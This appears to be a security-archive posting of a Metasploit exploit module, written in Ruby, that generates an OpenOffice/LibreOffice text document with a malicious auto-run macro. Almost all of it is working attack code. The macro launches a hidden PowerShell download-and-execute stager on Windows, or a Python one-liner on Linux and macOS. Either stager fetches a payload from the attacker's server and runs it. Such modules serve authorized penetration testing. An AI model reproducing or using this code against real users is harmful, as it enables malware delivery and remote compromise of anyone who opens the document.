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Apache OpenOffice Text Document Malicious Macro Execution

Apache OpenOffice Text Document Malicious Macro Execution
Posted Feb 10, 2017
Authored by sinn3r | Site metasploit.com

This Metasploit module generates an Apache OpenOffice Text Document with a malicious macro in it. To exploit successfully, the targeted user must adjust the security level in Macro Security to either Medium or Low. If set to Medium, a prompt is presented to the user to enable or disable the macro. If set to Low, the macro can automatically run without any warning. The module also works against LibreOffice.

tags | exploit
SHA-256 | 1b7cc506664ea4d132ab76a0a888077b8c6444117218027b8a1181b3bd87e829

Apache OpenOffice Text Document Malicious Macro Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/zip'
require 'cgi'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer

WINDOWSGUI = 'windows'
OSXGUI = 'osx'
LINUXGUI = 'linux'

def initialize(info={})
super(update_info(info,
'Name' => "Apache OpenOffice Text Document Malicious Macro Execution",
'Description' => %q{
This module generates an Apache OpenOffice Text Document with a malicious macro in it.
To exploit successfully, the targeted user must adjust the security level in Macro
Security to either Medium or Low. If set to Medium, a prompt is presented to the user
to enable or disable the macro. If set to Low, the macro can automatically run without
any warning.

The module also works against LibreOffice.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r' # Metasploit
],
'References' =>
[
['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => false
},
'Targets' =>
[
[
'Apache OpenOffice on Windows (PSH)', {
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
}],
[
'Apache OpenOffice on Linux/OSX (Python)', {
'Platform' => 'python',
'Arch' => ARCH_PYTHON
}]
],
'Privileged' => false,
'DisclosureDate' => "Feb 8 2017"
))

register_options([
OptString.new("BODY", [false, 'The message for the document body', '']),
OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt'])
], self.class)
end


def on_request_uri(cli, req)
print_status("Sending payload")

if target.name =~ /PSH/
p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)
else
p = payload.encoded
end

send_response(cli, p, 'Content-Type' => 'application/octet-stream')
end


def primer
print_status("Generating our odt file for #{target.name}...")
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'openoffice_document_macro')
docm = package_odt(path)
file_create(docm)
end


def get_windows_stager
%Q|Shell("cmd.exe /C ""#{generate_psh_stager}""")|
end


def get_unix_stager
%Q|Shell("#{generate_python_stager}")|
end


def generate_psh_stager
@windows_psh_stager ||= lambda {
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
download_and_run = "#{ignore_cert}#{download_string}"
generate_psh_command_line(
noprofile: true,
windowstyle: 'hidden',
command: download_and_run)
}.call
end


def generate_python_stager
@python_stager ||= lambda {
%Q|python -c ""import urllib2; r = urllib2.urlopen('#{get_uri}'); exec(r.read());""|
}.call
end


def get_statger
case target.name
when /PSH/
get_windows_stager
when /Python/
get_unix_stager
end
end


# This macro code has the following in mind:
# 1. It checks the platform to eliminate less misfires. Since we have only tested on Windows/Linux/OSX,
# we only want to fire at those.
# 2. Originally, I tried to embed the payload in the macro code, write it out and then execute it.
# This turned out to be problematic, because for some reason OpenOffice is not able to
# write a large string to a file (I've tried either shell("echo") or using the macro API).
# The stager code is similar to web_delivery.
def macro_code
CGI.escapeHTML(%Q|
Sub OnLoad
Dim os as string
os = GetOS
If os = "#{WINDOWSGUI}" OR os = "#{OSXGUI}" OR os = "#{LINUXGUI}" Then
Exploit
end If
End Sub

Sub Exploit
#{get_statger}
End Sub

Function GetOS() as string
select case getGUIType
case 1:
GetOS = "#{WINDOWSGUI}"
case 3:
GetOS = "#{OSXGUI}"
case 4:
GetOS = "#{LINUXGUI}"
end select
End Function

Function GetExtName() as string
select case GetOS
case "#{WINDOWSGUI}"
GetFileName = "exe"
case else
GetFileName = "bin"
end select
End Function
|)
end

def on_file_read(short_fname, full_fname)
buf = File.read(full_fname)

case short_fname
when /content\.xml/
buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
when /Module1\.xml/
buf.gsub!(/CODEGOESHERE/, macro_code)
end

yield short_fname, buf
end


def package_odt(path)
zip = Rex::Zip::Archive.new

Dir["#{path}/**/**"].each do |file|
p = file.sub(path+'/','')

if File.directory?(file)
print_status("Packaging directory: #{file}")
zip.add_file(p)
else
on_file_read(p, file) do |fname, buf|
print_status("Packaging file: #{fname}")
zip.add_file(fname, buf)
end
end
end

zip.pack
end


def exploit
super
end

end
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